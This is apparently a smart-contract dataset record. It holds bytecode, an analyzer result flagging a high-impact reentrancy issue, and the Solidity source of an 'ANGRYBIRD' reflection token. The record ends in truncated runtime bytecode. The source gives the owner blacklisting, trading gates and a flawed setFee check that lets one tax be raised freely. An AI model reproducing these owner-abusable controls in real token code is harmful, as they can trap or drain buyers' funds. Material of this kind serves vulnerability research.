1b815260040161062c90611c3d565b601655565b6000546001600160a01b031633146108ee5760405162461bcd60e51b815260040161062c90611c3d565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109365760405162461bcd60e51b815260040161062c90611c3d565b601855565b6000546001600160a01b031633146109655760405162461bcd60e51b815260040161062c90611c3d565b600893909355600a91909155600955600b55565b60006106ae338484610cb8565b6012546001600160a01b0316336001600160a01b031614806109bb57506013546001600160a01b0316336001600160a01b0316145b6109c457600080fd5b60006109cf306107ff565b90506107fc816112ec565b6000546001600160a01b03163314610a045760405162461bcd60e51b815260040161062c90611c3d565b60005b82811015610a75578160056000868685818110610a2657610a26611c72565b9050602002016020810190610a3b9190611aed565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6d81611c9e565b915050610a07565b50505050565b6000546001600160a01b03163314610aa55760405162461bcd60e51b815260040161062c90611c3d565b601755565b6000546001600160a01b03163314610ad45760405162461bcd60e51b815260040161062c90611c3d565b6001600160a01b038116610b395760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062c565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062c565b6001600160a01b038216610c575760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062c565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062c565b6001600160a01b038216610d7e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062c565b60008111610de05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062c565b6000546001600160a01b03848116911614801590610e0c57506000546001600160a01b03838116911614155b156110ed57601554600160a01b900460ff16610ea5576000546001600160a01b03848116911614610ea55760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062c565b601654811115610ef75760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062c565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3957506001600160a01b03821660009081526010602052604090205460ff16155b610f915760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062c565b6015546001600160a01b038381169116146110165760175481610fb3846107ff565b610fbd9190611cb9565b106110165760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062c565b6000611021306107ff565b60185460165491925082101590821061103a5760165491505b8080156110515750601554600160a81b900460ff16155b801561106b57506015546001600160a01b03868116911614155b80156110805750601554600160b01b900460ff165b80156110a557506001600160a01b03851660009081526005602052604090205460ff16155b80156110ca57506001600160a01b03841660009081526005602052604090205460ff16155b156110ea576110d8826112ec565b4780156110e8576110e84761122e565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112f57506001600160a01b03831660009081526005602052604090205460ff165b8061116157506015546001600160a01b0385811691161480159061116157506015546001600160a01b03848116911614155b1561116e575060006111e8565b6015546001600160a01b03858116911614801561119957506014546001600160a01b03848116911614155b156111ab57600854600c55600954600d555b6015546001600160a01b0384811691161480156111d657506014546001600160a01b03858116911614155b156111e857600a54600c55600b54600d555b610a7584848484611475565b600081848411156112185760405162461bcd60e51b815260040161062c9190611a2b565b5060006112258486611cd1565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069d573d6000803e3d6000fd5b60006006548211156112cf5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062c565b60006112d96114a3565b90506112e583826114c6565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133457611334611c72565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138857600080fd5b505afa15801561139c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c09190611ce8565b816001815181106113d3576113d3611c72565b6001600160a01b0392831660209182029290920101526014546113f99130911684610b94565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611432908590600090869030904290600401611d05565b600060405180830381600087803b15801561144c57600080fd5b505af1158015611460573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061148257611482611508565b61148d848484611536565b80610a7557610a75600e54600c55600f54600d55565b60008060006114b061162d565b90925090506114bf82826114c6565b9250505090565b60006112e583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061166d565b600c541580156115185750600d54155b1561151f57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806115488761169b565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157a90876116f8565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a9908661173a565b6001600160a01b0389166000908152600260205260409020556115cb81611799565b6115d584836117e3565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161a91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164882826114c6565b82101561166457505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361168e5760405162461bcd60e51b815260040161062c9190611a2b565b5060006112258486611d76565b60008060008060008060008060006116b88a600c54600d54611807565b92509250925060006116c86114a3565b905060008060006116db8e87878761185c565b919e509c509a509598509396509194505050505091939550919395565b60006112e583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f4565b6000806117478385611cb9565b9050838110156112e55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062c565b60006117a36114a3565b905060006117b183836118ac565b306000908152600260205260409020549091506117ce908261173a565b30600090815260026020526040902055505050565b6006546117f090836116f8565b600655600754611800908261173a565b6007555050565b6000808080611821606461181b89896118ac565b906114c6565b90506000611834606461181b8a896118ac565b9050600061184c826118468b866116f8565b906116f8565b9992985090965090945050505050565b600080808061186b88866118ac565b9050600061187988876118ac565b9050600061188788886118ac565b905060006118998261184686866116f8565b939b939a50919850919650505050505050565b6000826118bb575060006106b2565b60006118c78385611d98565b9050826118d48583611d76565b146112e55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062c565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fc57600080fd5b803561196181611941565b919050565b6000602080838503121561197957600080fd5b823567ffffffffffffffff8082111561199157600080fd5b818501915085601f8301126119a557600080fd5b8135818111156119b7576119b761192b565b8060051b604051601f19603f830116810181811085821117156119dc576119dc61192b565b6040529182528482019250838101850191888311156119fa57600080fd5b938501935b82851015611a1f57611a1085611956565b845293850193928501926119ff565b98975050505050505050565b600060208083528351808285015260005b81811015611a5857858101830151858201604001528201611a3c565b81811115611a6a576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9357600080fd5b8235611a9e81611941565b946020939093013593505050565b600080600060608486031215611ac157600080fd5b8335611acc81611941565b92506020840135611adc81611941565b929592945050506040919091013590565b600060208284031215611aff57600080fd5b81356112e581611941565b8035801515811461196157600080fd5b600060208284031215611b2c57600080fd5b6112e582611b0a565b600060208284031215611b4757600080fd5b5035919050565b60008060008060808587031215611b6457600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9557600080fd5b833567ffffffffffffffff80821115611bad57600080fd5b818601915086601f830112611bc157600080fd5b813581811115611bd057600080fd5b8760208260051b8501011115611be557600080fd5b602092830195509350611bfb9186019050611b0a565b90509250925092565b60008060408385031215611c1757600080fd5b8235611c2281611941565b91506020830135611c3281611941565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cb257611cb2611c88565b5060010190565b60008219821115611ccc57611ccc611c88565b500190565b600082821015611ce357611ce3611c88565b500390565b600060208284031215611cfa57600080fd5b81516112e581611941565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d555784516001600160a01b031683529383019391830191600101611d30565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9357634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611db257611db2611c88565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206652e9e4344c459b6d3026cb8a9e11b1005846d3ad34d53d61595e02572bcd5e64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
8,884
0xbb8a6dae7d95784b6bfe7550b7ba34eee790dcda
//t.me/angrybirdinu //angrybirdinu.com // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ANGRYBIRD is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "ANGRYBIRD"; string private constant _symbol = "ANGRYBIRD"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e11 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 2; uint256 private _taxFeeOnBuy = 9; uint256 private _redisFeeOnSell = 2; uint256 private _taxFeeOnSell = 9; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _marketingAddress ; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 2000000000 * 10**9; uint256 public _maxWalletSize = 2000000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _marketingAddress = payable(_msgSender()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function initContract() external onlyOwner(){ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function setTrading(bool _tradingOpen) public onlyOwner { require(!tradingOpen); tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) external onlyOwner{ swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount > 5000000 * 10**9 ); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101db5760003560e01c80637d1db4a511610102578063a2a957bb11610095578063c492f04611610064578063c492f04614610545578063dd62ed3e14610565578063ea1644d5146105ab578063f2fde38b146105cb57600080fd5b8063a2a957bb146104c0578063a9059cbb146104e0578063bfd7928414610500578063c3c8cd801461053057600080fd5b80638f70ccf7116100d15780638f70ccf71461046a5780638f9a55c01461048a57806395d89b411461020957806398a5c315146104a057600080fd5b80637d1db4a5146103f45780637f2feddc1461040a5780638203f5fe146104375780638da5cb5b1461044c57600080fd5b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461038a57806370a082311461039f578063715018a6146103bf57806374010ece146103d457600080fd5b8063313ce5671461030e57806349bd5a5e1461032a5780636b9990531461034a5780636d8aa8f81461036a57600080fd5b80631694505e116101b65780631694505e1461027a57806318160ddd146102b257806323b872dd146102d85780632fd689e3146102f857600080fd5b8062b8cf2a146101e757806306fdde0314610209578063095ea7b31461024a57600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611b04565b6105eb565b005b34801561021557600080fd5b506040805180820182526009815268105391d4965092549160ba1b602082015290516102419190611bc9565b60405180910390f35b34801561025657600080fd5b5061026a610265366004611c1e565b61068a565b6040519015158152602001610241565b34801561028657600080fd5b5060135461029a906001600160a01b031681565b6040516001600160a01b039091168152602001610241565b3480156102be57600080fd5b5068056bc75e2d631000005b604051908152602001610241565b3480156102e457600080fd5b5061026a6102f3366004611c4a565b6106a1565b34801561030457600080fd5b506102ca60175481565b34801561031a57600080fd5b5060405160098152602001610241565b34801561033657600080fd5b5060145461029a906001600160a01b031681565b34801561035657600080fd5b50610207610365366004611c8b565b61070a565b34801561037657600080fd5b50610207610385366004611cb8565b610755565b34801561039657600080fd5b5061020761079d565b3480156103ab57600080fd5b506102ca6103ba366004611c8b565b6107ca565b3480156103cb57600080fd5b506102076107ec565b3480156103e057600080fd5b506102076103ef366004611cd3565b610860565b34801561040057600080fd5b506102ca60155481565b34801561041657600080fd5b506102ca610425366004611c8b565b60116020526000908152604090205481565b34801561044357600080fd5b506102076108a2565b34801561045857600080fd5b506000546001600160a01b031661029a565b34801561047657600080fd5b50610207610485366004611cb8565b610a5a565b34801561049657600080fd5b506102ca60165481565b3480156104ac57600080fd5b506102076104bb366004611cd3565b610ab9565b3480156104cc57600080fd5b506102076104db366004611cec565b610ae8565b3480156104ec57600080fd5b5061026a6104fb366004611c1e565b610b42565b34801561050c57600080fd5b5061026a61051b366004611c8b565b60106020526000908152604090205460ff1681565b34801561053c57600080fd5b50610207610b4f565b34801561055157600080fd5b50610207610560366004611d1e565b610b85565b34801561057157600080fd5b506102ca610580366004611da2565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b757600080fd5b506102076105c6366004611cd3565b610c26565b3480156105d757600080fd5b506102076105e6366004611c8b565b610c55565b6000546001600160a01b0316331461061e5760405162461bcd60e51b815260040161061590611ddb565b60405180910390fd5b60005b81518110156106865760016010600084848151811061064257610642611e10565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067e81611e3c565b915050610621565b5050565b6000610697338484610d3f565b5060015b92915050565b60006106ae848484610e63565b61070084336106fb85604051806060016040528060288152602001611f56602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061139f565b610d3f565b5060019392505050565b6000546001600160a01b031633146107345760405162461bcd60e51b815260040161061590611ddb565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461077f5760405162461bcd60e51b815260040161061590611ddb565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107bd57600080fd5b476107c7816113d9565b50565b6001600160a01b03811660009081526002602052604081205461069b90611413565b6000546001600160a01b031633146108165760405162461bcd60e51b815260040161061590611ddb565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461088a5760405162461bcd60e51b815260040161061590611ddb565b6611c37937e08000811161089d57600080fd5b601555565b6000546001600160a01b031633146108cc5760405162461bcd60e51b815260040161061590611ddb565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610931573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109559190611e57565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c69190611e57565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a13573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a379190611e57565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610a845760405162461bcd60e51b815260040161061590611ddb565b601454600160a01b900460ff1615610a9b57600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610ae35760405162461bcd60e51b815260040161061590611ddb565b601755565b6000546001600160a01b03163314610b125760405162461bcd60e51b815260040161061590611ddb565b60095482111580610b255750600b548111155b610b2e57600080fd5b600893909355600a91909155600955600b55565b6000610697338484610e63565b6012546001600160a01b0316336001600160a01b031614610b6f57600080fd5b6000610b7a306107ca565b90506107c781611497565b6000546001600160a01b03163314610baf5760405162461bcd60e51b815260040161061590611ddb565b60005b82811015610c20578160056000868685818110610bd157610bd1611e10565b9050602002016020810190610be69190611c8b565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610c1881611e3c565b915050610bb2565b50505050565b6000546001600160a01b03163314610c505760405162461bcd60e51b815260040161061590611ddb565b601655565b6000546001600160a01b03163314610c7f5760405162461bcd60e51b815260040161061590611ddb565b6001600160a01b038116610ce45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610615565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610da15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610615565b6001600160a01b038216610e025760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610615565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ec75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610615565b6001600160a01b038216610f295760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610615565b60008111610f8b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610615565b6000546001600160a01b03848116911614801590610fb757506000546001600160a01b03838116911614155b1561129857601454600160a01b900460ff16611050576000546001600160a01b038481169116146110505760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610615565b6015548111156110a25760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610615565b6001600160a01b03831660009081526010602052604090205460ff161580156110e457506001600160a01b03821660009081526010602052604090205460ff16155b61113c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610615565b6014546001600160a01b038381169116146111c1576016548161115e846107ca565b6111689190611e74565b106111c15760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610615565b60006111cc306107ca565b6017546015549192508210159082106111e55760155491505b8080156111fc5750601454600160a81b900460ff16155b801561121657506014546001600160a01b03868116911614155b801561122b5750601454600160b01b900460ff165b801561125057506001600160a01b03851660009081526005602052604090205460ff16155b801561127557506001600160a01b03841660009081526005602052604090205460ff16155b156112955761128382611497565b47801561129357611293476113d9565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806112da57506001600160a01b03831660009081526005602052604090205460ff165b8061130c57506014546001600160a01b0385811691161480159061130c57506014546001600160a01b03848116911614155b15611319575